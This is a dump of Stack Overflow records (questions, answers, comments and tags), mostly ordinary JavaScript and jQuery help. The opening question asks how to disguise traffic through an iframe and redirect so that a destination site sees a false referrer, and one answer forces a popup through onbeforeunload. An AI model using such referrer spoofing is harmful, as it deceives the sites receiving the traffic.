has comment: http://stackoverflow.com/comment/40226812
has comment: http://stackoverflow.com/comment/40226712
answer count: 0
tagged with: iframe
has title: simulate referer iframe with javascript?
linked to: http://stackoverflow.com/q/3076414
type: Question
tagged with: javascript
has body: my question is this I have 2 sites, SiteA, SiteB, and what I want is to pretend that the traffic of a website through an open iframe in SiteA, simulate SiteB come from, for example we have: *SitioA.com/index.php *SitioB.com/redirect.php (Placed a javascript that redirects to the site I want it to open in the iframe, so the javascript code clears the referrer) In SitioA.com/index.php, I put an iframe to call SitioB.com/redirect.php, which, in turn redirects with javascript to the web that I want to simulate the referer, here I leave the code to understand better: In SitioA.com/Index.php I put: &lt;iframe class="premium_frame" src="http://SitioB.com/redirect.php" width="1000" height="1000" scrolling="no" frameborder="0"&gt;&lt;/iframe&gt; In sitioB.com/redirect.php, I put: window.location.href = "http://jaqhegrjghegr.com"; Doing this is no way to jaqhegrjghegr.com for example, discover that the check actually comes from SiteA and not SiteB? that's my question
score: 0
has comment: http://stackoverflow.com/comment/40225488
type: UnansweredQuestion

http://stackoverflow.com/comment/67684817
comment on: http://stackoverflow.com/a/25715968
score: 0
type: AnswerComment
has text: Is there even a finalizer concept in JS that, say, streams created by `fs.createWritableStream()` could plug into? If finalizers aren’t a thing in JavaScript, that could be another reason this logic can’t be implemented in pure JavaScript (though I know that V8 has callbacks for when native-backed/sponsored objects get collected).
type: Comment

css-transitions
tags question: http://stackoverflow.com/q/25727354
type: Tag
tags question: http://stackoverflow.com/q/25873408
tags question: http://stackoverflow.com/q/25750731
tag name: css-transitions
tags question: http://stackoverflow.com/q/25777238

http://stackoverflow.com/q/25726661
answer count: 1
accepted answer: http://stackoverflow.com/a/25727498
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25727498
tagged with: firefox-os
type: Question
tagged with: javascript
tagged with: jquery
has body: I want to fetch an image from the web and set it as wallpaper on the Firefox OS device. So far I've tried two approaches, $(document).on( 'click', '#share-image', function() { walp = new Image() walp.onload = function () { var walCanvas = document.createElement('canvas'); walCanvas.width = walp.width; walCanvas.height = walp.height; var walCtx = walCanvas.getContext('2d'); walCtx.drawImage(walp,0,0); walCanvas.toBlob( function (walBlob) { var Activitiy = new MozActivity({ name: 'share', data: { type: 'image/*', number: 1, blobs: [walBlob] } }); }); }; walp.src = image; //image is the link to jpeg. }); And this one... var shareImage = document.querySelector("#share-image"), imgToShare = document.querySelector('#prependedImage'); alert(imgToShare); if (shareImage &amp;&amp; imgToShare) { shareImage.onclick = function () { if(imgToShare.naturalWidth &gt; 0) { // Create dummy canvas var blobCanvas = document.createElement("canvas"); blobCanvas.width = imgToShare.width; blobCanvas.height = imgToShare.height; // Get context and draw image var blobCanvasContext = blobCanvas.getContext("2d"); blobCanvasContext.drawImage(imgToShare, 0, 0); // Export to blob and share through a Web Activitiy blobCanvas.toBlob(function (blob) { new MozActivity({ name: "share", data: { type: "image/*", number: 1, blobs: [blob] } }); }); } else { alert("Image failed to load, can't be shared"); } }; } Both work for a locally saved image but don't work for the image that is fetched from a remote location. I've also tried following approaches. var pre = '&lt;img width="100%" data-l10n-id="prependedImage" id="prependedImage" src="'+image+'" /&gt;'; $('#image1').prepend(pre); and $('#prependedImage').attr('src',image); Both work, but neither presents the wallpaper menu unless it is a locally saved image. I'm new to javascript and would appreciate an answer which explains what's wrong with code samples. Thanks.
score: 0
has title: Use a prepended image as wallpaper using Mozactivity Firefox OS

http://stackoverflow.com/comment/40224961
score: 0
has text: http://jsfiddle.net/un2fpuy4/7/ is the most that can be done if you really want to use the pseudo element approach. Otherwise, you can just change the textContent of the anchor using JS.
type: Comment
comment on: http://stackoverflow.com/a/25728606
type: AnswerComment

http://stackoverflow.com/q/25817107
has title: append data from handlebars value
type: Question
tagged with: handlebars.js
tagged with: ember.js
answer count: 1
score: 0
has answer: http://stackoverflow.com/a/25817306
tagged with: javascript
has body: i'm using emberjs with handlebars and i have an issue. The idea is append a value into the element, the result will show something like that: CASH_IN_BANK i'm trying that: {{row.value}} but is not working the result out the taks is fine but the data-obj shows the handlebar script tags Any Suggestions?
type: AnsweredQuestion
tagged with: templating
accepted answer: http://stackoverflow.com/a/25817306

http://stackoverflow.com/comment/40385734
comment on: http://stackoverflow.com/a/25816502
score: 0
type: AnswerComment
has text: Wouldn't this only work in IE?
type: Comment

http://stackoverflow.com/a/52878276
type: Answer
upvote count: 1
score: 1
has body: I will try to explain as simple as I can:
downvote count: 0
answers question: http://stackoverflow.com/q/25785890

http://stackoverflow.com/comment/40255807
type: AnswerComment
comment on: http://stackoverflow.com/a/25745567
type: Comment
has text: Yeah but it is constantly different so how would you compare a number which could be different every second? @APerson
score: 0

http://stackoverflow.com/q/25757967
answer count: 4
has body: i have menu.php.i want to include all of other file.so i have error to change menu background color& font color on click event. pls check my code give me solution.thanks. in css file .add{background-color:#000; color:#fff;} in js file in html file Home Services Porfile About Us Contact Us enter code here
has comment: http://stackoverflow.com/comment/40279002
type: Question
has answer: http://stackoverflow.com/a/25759182
tagged with: javascript
tagged with: jquery
has title: dynamic menu background color change with jquery
score: 0
has answer: http://stackoverflow.com/a/25758334
has answer: http://stackoverflow.com/a/25758051
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25758888
has comment: http://stackoverflow.com/comment/40278652
tagged with: css

checkout
type: Tag
tag name: checkout
tags question: http://stackoverflow.com/q/25816355

http://stackoverflow.com/comment/40390400
has text: Thanks for your comment @minitech but that is the way I started my App, but how I manage large math expressions it doesn't look so clear. So I decide to change to this way `x¹⁰⁰`.
comment on: http://stackoverflow.com/q/25818458
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25795314
favorite count: 0
has comment: http://stackoverflow.com/comment/40356833
has comment: http://stackoverflow.com/comment/40353591
has comment: http://stackoverflow.com/comment/40347097
linked to: http://stackoverflow.com/q/25176643
tagged with: mqtt
has comment: http://stackoverflow.com/comment/40373693
answer count: 1
has title: Not receiving mqtt message on mobile web-client via paho mqttws31.js
tagged with: retain
has comment: http://stackoverflow.com/comment/40410621
has comment: http://stackoverflow.com/comment/133912494
upvote count: 2
type: UnansweredQuestion
tagged with: web-applications
has comment: http://stackoverflow.com/comment/40405565
has comment: http://stackoverflow.com/comment/40385700
score: 2
has comment: http://stackoverflow.com/comment/40648012
has comment: http://stackoverflow.com/comment/40414608
has comment: http://stackoverflow.com/comment/40407154
type: Question
has comment: http://stackoverflow.com/comment/40370762
has comment: http://stackoverflow.com/comment/40346501
has body: I use paho mqttws31.js (http://www.eclipse.org/paho/clients/js/) for receiving mqtt messages via websockets in a web-app. On pcs with different browsers(chromeium, firefox ...) everything works totally smooth without any errors. But when I use exactly the same source-code on mobile devices, like tablets or smartphones I don't receive retained messages. I subscribe for some retained topic inside of the onSuccess callback when I connect to the broker. But I don't receive the retained message most of the time. As mentioned this only happens on mobile devices. Thanks in advance.
downvote count: 0
has comment: http://stackoverflow.com/comment/40552987
has answer: http://stackoverflow.com/a/25962373
has comment: http://stackoverflow.com/comment/40550896
tagged with: javascript
tagged with: paho
has comment: http://stackoverflow.com/comment/40407077

http://stackoverflow.com/comment/40230621
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25728145
has text: I moved the `.call(zoom)` up to the `svg:rect` and it seems to be working.
type: AnswerComment

http://stackoverflow.com/comment/40362374
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25803878
has text: you could use a ajax function to post the data from the 1st button that would mean no page refresh and so the buttons would then be enabled?

dialog
tag name: dialog
tags question: http://stackoverflow.com/q/25724331
tags question: http://stackoverflow.com/q/25830487
type: Tag
tags question: http://stackoverflow.com/q/25719897

http://stackoverflow.com/q/25720660
answer count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40209193
has comment: http://stackoverflow.com/comment/40209201
possible better answer: http://stackoverflow.com/a/25741750
has answer: http://stackoverflow.com/a/25721051
favorite count: 0
has comment: http://stackoverflow.com/comment/40209292
tagged with: regex
tagged with: node.js
type: AnsweredQuestion
score: 1
accepted answer: http://stackoverflow.com/a/25721051
upvote count: 1
type: Question
tagged with: javascript
has body: I have a text file containing a lot of rows, I'm filtering them to find the content I need, like: HBIJB LX 0359 25Aug14 07:37 This is my Regular Expression: /(?:(HB...)\s(LX|WK)\s((?:[0-9]){1,4})\s((?:[0-9]){2}(?:[A-Z,a-z]){3}(?:[0-9]){2})\s((?:[0-9]){2}:(?:[0-9]){2}))/g My problem is that it's returning only the first match in the file: [ 'HBIJB LX 0359 25Aug14 07:37', 'HBIJB', 'LX', '0359', '25Aug14', '07:37', index: 323, input: /* Omitted */ ] The response is perfect, but why am I getting only the first match, even if I used the global /g flag? Edit: I'm using NodeJs, and the script is nothing fancy: var regex = /(?:(HB...)\s(LX|WK)\s((?:[0-9]){1,4})\s((?:[0-9]){2}(?:[A-Z,a-z]){3}(?:[0-9]){2})\s((?:[0-9]){2}:(?:[0-9]){2}))/g console.log(regex.exec(data)); Edit 2: Here an extrapolation of the content I need to filter. Lorem Ipsum Ø HBIJB LX 0359 25Aug14 07:37 HBIPV LX 2092 25Aug14 09:09 Lorem Ø HBIJB LX 1404 25Aug14 09:59 HBIJB LX 1405 25Aug14 10:53
has title: Regex returning only first match?
has answer: http://stackoverflow.com/a/25741750

http://stackoverflow.com/a/25792612
has comment: http://stackoverflow.com/comment/40371371
score: 0
has body: In input type number the containing value is a floating-point number. A floating-point number consists of the following parts, in exactly the following order: Optionally, the first character may be a "-" character. One or more characters in the range "0—9". Optionally, the following parts, in exactly the following order: a "." character one or more characters in the range "0—9" Optionally, the following parts, in exactly the following order: a "e" character or "E" character optionally, a "-" character or "+" character One or more characters in the range "0—9". And you might know in floating-point number 0. == 0.0 == 0. As others 0, 0.0 validation is fine, so 0. is also a fine validation.
answers question: http://stackoverflow.com/q/25787553
has comment: http://stackoverflow.com/comment/40341782
type: Answer

http://stackoverflow.com/q/25728770
favorite count: 0
has title: ISO 8601 date format - Add day with javascript
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25728834
downvote count: 0
has comment: http://stackoverflow.com/comment/40224359
has body: How to add days to date with ISO 8601 Format using Javascript. var date = new Date(2013, 9, 18, 18, 0, 0); var myDate = date + 1
type: Question
upvote count: 2
linked to: http://stackoverflow.com/q/6963311
answer count: 2
tagged with: javascript
has answer: http://stackoverflow.com/a/25728831
possible better answer: http://stackoverflow.com/a/25728834
accepted answer: http://stackoverflow.com/a/25728831

http://stackoverflow.com/comment/40364265
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25804767
has text: Are you expecting this data to be ready as well, as it's an async call in angular?

http://stackoverflow.com/q/25829614
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40409283
tagged with: css
score: 0
type: UnansweredQuestion
has title: JavaScript code blocking CSS
has comment: http://stackoverflow.com/comment/40409334
has answer: http://stackoverflow.com/a/25829641
linked to: http://stackoverflow.com/q/11515383
has comment: http://stackoverflow.com/comment/40411038
has body: When I insert this code into my file it seems to block my CSS from showing. I made a script to try and print text once the page has loaded which I am then going to use later to make a loaded bar. This is my code. All that happens is I get the text "Test" printed on my page.
has answer: http://stackoverflow.com/a/25829643
has comment: http://stackoverflow.com/comment/40409284
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25829637
answer count: 3

http://stackoverflow.com/comment/40238212
has text: wah, that's great! nice suggest for looping throigh the results in table row :). thank you sir.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25719181

http://stackoverflow.com/q/25772043
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25772269
type: AnsweredQuestion
has title: Fire function when returning to a tab
type: Question
score: 0
accepted answer: http://stackoverflow.com/a/25772269
answer count: 1
tagged with: javascript
tagged with: jquery
has body: I'm looking for a javascript / jQuery method to fire a function when returning to a tab. I'm tracking the amount of time spent on an ad by using getDate on load, and subtracting the difference when leaving the ad. However, some links from the ad lead to a new tab, and the user may return to keep interacting with the ad. What can I used to restart the timer when a user navigates back to that tab? Onload won't seem to work since the tab is already loaded, and onfocus fires too many times (the user interacts with the ad to perform a live search of inventory). Any suggestions?

http://stackoverflow.com/a/25787342
score: 0
answers question: http://stackoverflow.com/q/25787265
type: Answer

http://stackoverflow.com/q/25869974
favorite count: 0
tagged with: angularjs
score: 2
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/25870081
accepted answer: http://stackoverflow.com/a/25870081
type: Question
has title: Pb with angular $interval
has comment: http://stackoverflow.com/comment/40482628
tagged with: javascript
upvote count: 2
answer count: 1
has body: Can someone explain me what append in this plunker JS var app = angular.module('plunker', []); app.controller('MainCtrl', function($scope, $interval) { $scope.name = 'World'; var plop = $interval(function(){}, 1000); $scope.test = function(){ console.log("test"); } }) HTML Hello {{name}}! If you open the console, you can see "test" is outputting repeatedly but it's not in the $interval function !!!

http://stackoverflow.com/a/25816063
has comment: http://stackoverflow.com/comment/40384959
has body: This should work. &lt;audio controls src="where-you-keep-your-uploaded-file"&gt;&lt;/audio&gt; If a relative path does not work, try the full one (e.g. http://www.yourwebsite.com/music/user-file.mp3) I once had to write a script like this, but I was using custom-made buttons to play/pause. It was looking something like this and worked flawlessy. HTML &lt;img alt="" onclick="music('http://www.my-website.org/media/myfile.mp3'); return false;" src="gfx/play.png"&gt; &lt;img alt="" onclick="pauseAudio(); return false;" src="gfx/pause.png"&gt; &lt;audio id="audioPlayer" src=""&gt;&lt;/audio&gt; JavaScript function music(track){ $('#audioPlayer').attr('src', track); $('#audioPlayer').attr('autoplay', 'autoplay'); $.get(); } function pauseAudio(){ $('#audioPlayer').get(0).pause(); } Assuming that your path is actually valid, there should be no problems.
accepted answer of: http://stackoverflow.com/q/25815957
has comment: http://stackoverflow.com/comment/40384900
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25815957
has comment: http://stackoverflow.com/comment/40386493
has comment: http://stackoverflow.com/comment/40387460
has comment: http://stackoverflow.com/comment/40385177
type: Answer
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40384946
has comment: http://stackoverflow.com/comment/40385904

http://stackoverflow.com/q/25868381
tagged with: opengl-es-2.0
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25869113
has title: WebGL - stripes when using multiple textures
has body: I'm using three textures in my WebGL program, and I get a striped/overlapping effect. The first texture I bind is OK, but sequential textures get the effect. Here's my vertex data format (x,y,z,s,t,textureIndex,textureName) -5.0 0.0 -5.0 0.0 0.0 1 WL01 -5.0 0.0 5.0 0.0 1.0 1 WL01 5.0 0.0 5.0 1.0 1.0 1 WL01 -5.0 0.0 -5.0 0.0 0.0 1 WL01 5.0 0.0 -5.0 1.0 0.0 1 WL01 5.0 0.0 5.0 1.0 1.0 1 WL01 -1.0 1.0 -4.0 0.0 1.0 2 WL02 -1.0 0.0 -4.0 0.0 0.0 2 WL02 -0.0 0.0 -4.0 1.0 0.0 2 WL02 -1.0 1.0 -4.0 0.0 1.0 2 WL02 -0.0 1.0 -4.0 1.0 1.0 2 WL02 -0.0 0.0 -4.0 1.0 0.0 2 WL02 2.0 1.0 -4.0 1.0 1.0 0 WL00 2.0 0.0 -4.0 1.0 0.0 0 WL00 0.5 0.0 -4.0 0.0 0.0 0 WL00 2.0 1.0 -4.0 1.0 1.0 0 WL00 0.5 1.0 -4.0 0.0 1.0 0 WL00 0.5 0.0 -4.0 0.0 0.0 0 WL00 Here's how I initialize each texture individually: gl.bindTexture(gl.TEXTURE_2D, texture); gl.pixelStorei(gl.UNPACK_FLIP_Y_WEBGL, true); gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, texture.image); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST); gl.bindTexture(gl.TEXTURE_2D, null); Buffer initialization: levelVertexBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, levelVertexBuffer); gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(data), gl.STATIC_DRAW); levelVertexBuffer.vertexCount = 18; textureIndexBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, textureIndexBuffer); gl.bufferData(gl.ARRAY_BUFFER, new Uint8Array(texIndexBuffData), gl.STATIC_DRAW); In main loop I'm doing: ... for( var i = 0; i &lt; level.textures.length; i++ ) { gl.activeTexture(gl.TEXTURE0 + i); gl.bindTexture(gl.TEXTURE_2D, level.textures[i]); } ... gl.uniform1i(shaderProgram.texturesUniform0, 0); gl.uniform1i(shaderProgram.texturesUniform1, 1); gl.uniform1i(shaderProgram.texturesUniform2, 2); Vertex shader: &lt;script id="shader-vs" type="x-shader/x-vertex"&gt; attribute vec3 aVertexPosition; attribute vec2 aTextureCoord; attribute float aTextureI…
tagged with: javascript
tagged with: webgl
score: 0
tagged with: 3d
answer count: 1
accepted answer: http://stackoverflow.com/a/25869113

http://stackoverflow.com/a/25828929
has comment: http://stackoverflow.com/comment/40408041
score: 0
has comment: http://stackoverflow.com/comment/40408107
type: Answer
has body: I've just checked the prettycheckable source code - in case you're using it like they provide it on their homepage, the inputs (regardless if radiobox or checkbox) are styled &lt;a href="#"/&gt;. So you could try - given an id="test" as container for your form: $("#test a").click(function() { $(this).closest("form").submit(); }); Update: As Fiddle was provided with actual markup, I've just udpated it: Fiddle Just check the console, answer above is working for me. I've just added a class="test" for the div containing the form and added $j(".test a").click(function() { console.log("click"); }); When you check with e.g. Firebug, you'll notice that the styled checkboxes are styled &lt;a href="#/&gt;
answers question: http://stackoverflow.com/q/25828905

http://stackoverflow.com/q/25785260
has answer: http://stackoverflow.com/a/25786428
tagged with: character-encoding
has title: Encode icon font HTML entity
accepted answer: http://stackoverflow.com/a/25786428
type: Question
has body: I am using FontAwesome and would like to read the encoded HTML entity from an element containing an icon. For example, given I have this HTML in the DOM: &lt;span class="fa"&gt;&amp;#xf005;&lt;/span&gt; How can I read the value &amp;#xf005; back from an element, ? innerHTML gives the decoded character back. Mathias Bynen's library he.js handles this perfectly, but for a client-side project it's a little on the heavy side for inclusion (~85kb unminified!), I would like a lightweight solution that doesn't necessarily need to cover off every edge case. Here's a fiddle that illustrates the problem: http://jsfiddle.net/ohfuffm9/
answer count: 2
tagged with: encoding
tagged with: javascript
tagged with: entity
tagged with: http://stackoverflow.com/tag/html
possible better answer: http://stackoverflow.com/a/25785906
score: 0
has answer: http://stackoverflow.com/a/25785906
type: AnsweredQuestion

http://stackoverflow.com/a/25795668
score: 0
has body: css class is a .whatever rule, You don't have any classes in your CSS definitions, just elements. .foo { color: puce } /* this is a class */ p { color: chartreuse } /* this is an element */ p.foo { color: aubergine } /* this is an element AND a class */ toggleClass('foo'); You're toggling on element.class, but toggleClass expects ONLY a class, not the element.
type: Answer
answers question: http://stackoverflow.com/q/25795624

http://stackoverflow.com/a/25815387
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/25801944
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25801944
type: Answer
has body: Check your policy definition. The code you pasted has "module.export" instead of "module.exports"

http://stackoverflow.com/a/25782415
upvote count: 1
type: Answer
downvote count: 0
has body: Getting the exact geolocation using sole Javascript isn't possible with your gps in handheld devices. You need to use your Android Maps API or Google play services to get it done. On the other hand, you can get the geocode from an address in xml or json to your handheld using a simple HTTP request to maps.googleapis.com like this : https://maps.googleapis.com/maps/api/geocode/json?address=&lt;address_string_goes_here&gt;
score: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25782282
answers question: http://stackoverflow.com/q/25782282

http://stackoverflow.com/a/25771407
upvote count: 0
has body: I personally don’t like it to listen to an event by adding the "onclick" attribute to an HTML element. Instead, it would be more practical to use .addEventListener. I can also really recommend you jQuery. In jQuery, you would write: $('a').click(function(){ func1(); func2(); }
answers question: http://stackoverflow.com/q/25771150
type: Answer
downvote count: 1
has comment: http://stackoverflow.com/comment/40303648
score: -1
has comment: http://stackoverflow.com/comment/40303560
has comment: http://stackoverflow.com/comment/40303053

http://stackoverflow.com/comment/40386570
has text: May want to look into jsonp; see for example: http://stackoverflow.com/questions/6809053/simple-jquery-php-and-jsonp-example
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25816717
type: Comment

http://stackoverflow.com/comment/40437184
comment on: http://stackoverflow.com/q/25843303
score: 0
type: Comment
type: QuestionComment
has text: IT does nothing, when I scroll data is not loaded,I'm using jquery-1.11.1. I think it's from scrollTop which always 0 when it comes to IE8

http://stackoverflow.com/comment/40748584
type: QuestionComment
comment on: http://stackoverflow.com/q/25834818
has text: @Musa absolute, attached the css now.
score: 0
type: Comment

http://stackoverflow.com/a/25805715
answers question: http://stackoverflow.com/q/25805674
downvote count: 1
score: -1
upvote count: 0
type: Answer
has body: try something like this &lt;div&gt; &lt;input name="" class="" type="button" value="Select..."/&gt; &lt;/div&gt; Note : button is type of input.

http://stackoverflow.com/a/25772540
type: Answer
answers question: http://stackoverflow.com/q/25772413
has body: Try this: $(document).ready(function () { window.open("https://www.flickr.com/photos/127583121@N07/15148138666/in/set-72157647343739461/player/", "theFrame"); }); It will open a new pop-up window and user can interact separately with images in that. DEMO UPDATED SOLUTION After a lot of search and tries, I finally made a solution which is most close to what you want. It will just require a click to confirm from user. If user clicks stay on page the iFrame will be opened in another window. $(document).ready(function () { window.onbeforeunload = function () { window.open("https://www.flickr.com/photos/127583121@N07/15148138666/in/set-72157647343739461/player/", "theFrame"); return ""; } }); UPDATED DEMO
upvote count: 1
has comment: http://stackoverflow.com/comment/40306263
score: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40305343

http://stackoverflow.com/q/25715585
tagged with: javascript
has body: Still pretty new to Javascript and I am struggling using multiline regex. Typically the boundaries of the regex are ^ for the start of the line and $ for the end of the current line. Thus, my regex is constrained and only runs between ^ and $. Now in multiline mode, how do I set up the boundaries? I've looked at several examples and it is just eluding me. If my feed looks like this Joe's item list Item one is Abc Item two is xyz Item three is 123 End of Item List my typical regex would look like ^Item (\w+) is (\w+)$. But I want my regex to only fire between the start and end lines and want to grab that this is Joe's item list. Am I just thinking about this bassackwards thinking I should use multiline regex?
score: 0
has answer: http://stackoverflow.com/a/25715630
tagged with: multiline
answer count: 1
has title: Confused about JavaScript Regex Multiline mode
tagged with: regex
accepted answer: http://stackoverflow.com/a/25715630
type: AnsweredQuestion
type: Question

http://stackoverflow.com/comment/40462389
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25858537
type: QuestionComment
has text: @PHPglue I believe `test` is the variable your referring to? How can I perform an `alert(test)` when all `XMLHTTPRequests` are finished?

http://stackoverflow.com/q/25778722
tagged with: javascript
has comment: http://stackoverflow.com/comment/40316670
tagged with: forms
tagged with: jquery-validate
has comment: http://stackoverflow.com/comment/40316811
has title: How to validate dynamic content using jQuery Validate plugin
score: 0
has comment: http://stackoverflow.com/comment/40316712
answer count: 2
has body: I'm having issues validating some dynamic content. The closest I have come to finding a similar problem is this: jquery-validate-is-not-working-with-dynamic-content My form is a basic form, enter name, email, phone etc. But there's this question "How many passengers?" This is a select and depending on how many passengers you select, I use jQuery to create more fields based on this amount using this: $('select.travellers').attr('name','Number of travelers').on('click', function() { var travellers = this.value; //On change, grab value var dom = ""; for(var i = 0; i &lt; travellers; i++){ //for 0 is less than travellers dom += '&lt;label&gt;Full Name&lt;/label&gt;'; dom += '&lt;input type="text" name="FullName_'+i+'"&gt;'; dom += '&lt;label&gt;Food&amp;nbsp;requirements&lt;/label&gt;'; dom += '&lt;select size= "0" name="Food Requiries_'+i+'" tabindex="-1" &gt; &lt;option value="No pork"&gt;No pork&lt;/option&gt; &lt;option value="Halal"&gt;Halal&lt;/option&gt; &lt;option value="Food allergies"&gt;Food allergies&lt;/option&gt; &lt;option value="Other"&gt;Other&lt;/option&gt;&lt;/select&gt;'; } $('.form_Additional').html(dom); //add dom into web page }); The output is an input field asking for the additional passenger name and a select asking for their food requirements How do I validate these newly created elements? This is what I have so far: $(document).ready(function(e) { //validation rule for select $.validator.addMethod("valueNotEquals", function(value, element, arg){ return arg != value; }, "Value must not equal arg."); //validate form $("#FORMOB7DC24203803DC2").on("click", function(event){ $(this).validate({ rules: { FullName:{ required: true }, FullName_0:{ required: true }, 'Number of travelers':{ valueNotEquals: "Please select" } } }); }); }); Is there a way to make this dynamic? Because this form allows for up to 30 passengers and I don't want to manually write in rules FullName_0, FullName_1, FullName_2 etc etc. I added the rule FullName_0 and it doesn't val…
has answer: http://stackoverflow.com/a/25778941
has comment: http://stackoverflow.com/comment/40316697
tagged with: jquery
has comment: http://stackoverflow.com/comment/40316694
has answer: http://stackoverflow.com/a/25778807
has comment: http://stackoverflow.com/comment/40316719
has comment: http://stackoverflow.com/comment/40316535
has comment: http://stackoverflow.com/comment/40316741
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/13170006
has comment: http://stackoverflow.com/comment/40316866
possible better answer: http://stackoverflow.com/a/25778807
type: Question
has comment: http://stackoverflow.com/comment/40316623
accepted answer: http://stackoverflow.com/a/25778941

http://stackoverflow.com/comment/40414008
comment on: http://stackoverflow.com/q/25832284
has text: can you please setup a fiddle
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/25785480
answer count: 2
downvote count: 0
tagged with: javascript
has title: How to open one dialog- box from multiple buttons on the same html page
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25785661
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has body: Div with class ="front" is clone more than once on a html page ,button nested (class=poperbtn) clone as well, the button use is to open dialog-box/pop up (class="poper"), for example : if I have 4 divs -> class=front which means 4 buttons -> class="poperbtn", everytime I click on one of these buttons the dialog-box must pop-up, how to do this? is it possible? here is a code example. //Dialog - box open button // Div for Dialog box here I am //To avoid using id I select button (id=poperbtn) this way - works fine I got id="poperbtn" button . var _btnToDialog = ""; $(".front").live("click", function () { _btnToDialog = $(this).next().children().eq(0); }); //Dialog box Jquery function - I am not sure about this code.. got stuck here.. $(function () { $("#poper").dialog({ autoOpen: false, width: 650, height: 600, }); $(_btnToDialog).click(function () { $("#poper").dialog("open"); }); }); }); **According to comments,I changed the button - has no Id only class.
has comment: http://stackoverflow.com/comment/40328172
favorite count: 0
score: 2
has answer: http://stackoverflow.com/a/25785859
upvote count: 2
possible better answer: http://stackoverflow.com/a/25785859
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25785661
has comment: http://stackoverflow.com/comment/40328212
has comment: http://stackoverflow.com/comment/40328310
type: Question

http://stackoverflow.com/comment/40454307
type: AnswerComment
has text: worked ! but you have to delete the background proprieties in style.css for facebook icon :) thanks a lot
type: Comment
comment on: http://stackoverflow.com/a/25850968
score: 0

http://stackoverflow.com/q/25764173
has title: Detecting the row that was clicked using JQuery
answer count: 3
has answer: http://stackoverflow.com/a/25764217
accepted answer: http://stackoverflow.com/a/25764217
type: AnsweredQuestion
score: 0
possible better answer: http://stackoverflow.com/a/25764284
has answer: http://stackoverflow.com/a/25765200
tagged with: twitter
has answer: http://stackoverflow.com/a/25764284
has body: I am wondering how to do the following. I've got a table of tweets being pulled in from the Streaming API. Each tr has a delete button associated with it. The idea is that when I click on the delete button a pop up box appears prompting the user if they wish to delete the selected row. The only issue I am having is how I can detect which button is clicked and therefor get the tweet associated with that tr. This is my code: All Tweets Delete Selected Select Tweet Username Name Tweeted at @foreach(Tweet::orderBy('created_at', 'DESC')->get() as $tweet) tweet_id}}"> Delete {{$tweet->tweet_text}} {{$tweet->screen_name}} {{$tweet->name}} {{$tweet->created_at}} @endforeach This is the HTML for the pop-up: × Warning: Delete Tweet Are you sure you would like to delete this Tweet from the database? No Yes This is the JQuery $('#openBtn').click(function(){ $('#myModal').modal({show:true}) }); Currently all the above code does is when any of the delete buttons is pressed the modal is displayed. I'd like to be able to display information associated with the row the delete button is contained within inside this modal. Any help would be much appreciated.
type: Question
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/q/25752349
answer count: 0
score: 1
upvote count: 1
tagged with: post
type: Question
has body: I'm attempting to retrieve data from my Pocket account using the Pocket API by accessing it with a jQuery post function. I have obtained the consumer key and access token and when I execute the following code I get a parseerror ...but the data shows up in JSON format in Firebug. var myPost = $.post("https://getpocket.com/v3/get", { "consumer_key": "&lt;&lt;consumer key here&gt;&gt;", "access_token": "&lt;&lt;access token here&gt;&gt;", "count": "3", "detailType": "simple" },function(data) { return data }, "jsonp"); myPost.done(function( msg ) { console.log(myPost) alert(msg); }); myPost.fail(function( jqXHR, textStatus ) { console.log(jqXHR) alert( "Request failed: " + textStatus ); }); If I change the dataType on the post call from "jsonp" to "json" I don't get the parse error but instead get a generic error (literally just "error") with nothing returned in teh response tab in Firebug. Attempts to do this call using jQuery.ajax() have also failed, yielding an error 400. var something = $.ajax({ "accepts": 'application/json', "type": 'POST', "url": "https://getpocket.com/v3/get", "contentType": 'application/json; charset=UTF8', "data": {"consumer_key": "&lt;&lt;insert consumer key here&gt;&gt;", "access_token": "&lt;&lt;insert access token here&gt;&gt;", "count": "3", "detailType": "simple"}, "dataType": 'json', "success": "" }); Seems like I am close using $.post() but how to I clear that error so I can get the actual response data returned?
has title: Trouble retrieving data from Pocket API using jquery.post()
tagged with: pocket
tagged with: javascript
tagged with: jquery
downvote count: 0
favorite count: 0
tagged with: ajax
type: UnansweredQuestion

http://stackoverflow.com/comment/40468952
score: 1
comment on: http://stackoverflow.com/a/25857618
has text: actually I agree about `ng-init`...it never crosssed my mind, much simpler and no isolated scope
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40217880
has text: Yup, that's how I'd do it. You are welcome.
score: 0
type: QuestionComment
type: Comment
